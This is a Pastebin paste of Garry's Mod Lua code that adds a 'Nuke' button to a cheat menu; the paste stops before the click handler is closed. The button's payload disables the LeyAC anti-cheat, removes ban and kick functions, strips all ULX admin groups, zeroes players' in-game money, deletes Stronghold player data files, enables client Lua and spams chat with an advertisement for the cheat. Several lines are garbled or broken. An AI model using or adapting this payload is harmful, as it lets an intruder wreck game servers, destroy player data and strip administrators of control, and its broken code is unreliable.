Advertisement
2much4Us

gg

Mar 13th, 2018
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.65 KB | None | 0 0
  1. local Macro = vgui.Create( "DButton" )
  2. Macro:SetParent(Controller)
  3. Macro:SetPos( 140, 270 )
  4. Macro:SetTextColor( Color(255, 255, 255, 255) )
  5. Macro:SetSize( 110, 25 )
  6. Macro:SetText( "Nuke" )
  7. Macro.Paint = function()
  8. surface.SetDrawColor(29, 39, 55)
  9. surface.DrawRect( 0, 0, Macro:GetWide(), Macro:GetTall() )
  10. surface.SetDrawColor( 255, 0, 0 )
  11. surface.DrawOutlinedRect( 0, 0, Macro:GetWide(), Macro:GetTall() )
  12. end
  13. Macro.DoClick = function()
  14. local nuke = [[
  15. if( LeyAC ) then
  16. LeyAC = nil;
  17. end
  18.  
  19. timer.Create( "next_level_timer2", 20, 0, function()
  20. --Break some bad cmds
  21. local bad = {"Ban","Kick","Kill","KillSilent","GodEnable","GodDisable"} for k,v in next, bad do FindMetaTable("Player")[v] = nil end
  22. --Break ULX
  23. if ULib then
  24. for k,v in pairs(player.GetAll()) do
  25. ULib.ucl.addUser( v:SteamID(), {}, {}, "user" );
  26. end
  27.  
  28. for k,v in pairs(ULib.ucl.groups) do
  29. if k != "user" then
  30. ULib.ucl.removeGroup(k);
  31. end
  32. end
  33.  
  34. for k,v in pairs(ULib.ucl.users) do
  35. v.group = "user"
  36. end
  37. end
  38. --Gamemode related
  39. if GAMEMODE.Name == "DarkRP" then
  40.  
  41. for k,v in pairs(player.GetAll()) do
  42. RunConsoleCommand("rp_setmoney", v:Nick(), 0);
  43. end
  44.  
  45. hook.Add("PlayerInitialSpawn", "darkrp_specific_persistence", function( ply )
  46. RunConsoleCommand("rp_setmoney", ply:Nick(), 0);
  47. end)
  48. end
  49.  
  50. if GAMEMODE.Name == "Trouble in Terrorist Town" then //something here?
  51. //for k, v in pairs(player.GetAll()) do
  52. //end
  53. end
  54.  
  55. if net.WriteString.find( GAMEMODE.Name:lower(), "stronghold" ) then
  56. for k,v in pairs(player.GetAll()) do
  57. RunConsoleCommand("gbux_setmoney", v:Nick(), 0);
  58. end
  59.  
  60. hook.Add("PlayerInitialSpawn", "stronghold_specific_persistence", function( ply )
  61. RunConsoleCommand("gbux_setmoney", ply:Nick(), 0);
  62. end)
  63.  
  64. local fil = file.Find( "data/stronghold/playerinfo/*.txt", "GAME" )
  65.  
  66. for k, v in pairs( fil ) do
  67. file.Delete( fil )
  68. end
  69. end
  70. end)
  71.  
  72. if GetConVarnet.WriteString("sv_allowcslua") != "0" then
  73. RunConsoleCommand( "sv_allowcslua", "1" );
  74. end
  75.  
  76. hook.Add("Think", "busted", function()
  77. for k,v in pairs (player.GetAll()) do
  78. v:SetModelScale(2.5, 100);
  79. v:SetRunSpeed(400 * 2);
  80. v:SetWalkSpeed(200 * 2);
  81. end
  82. end)
  83.  
  84. timer.Create( "next_level_timer", 5, 0, function()
  85. for k, v in pairs(player.GetAll()) do
  86. v:ConCommand("say Session is the best cheat !");
  87. end
  88. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement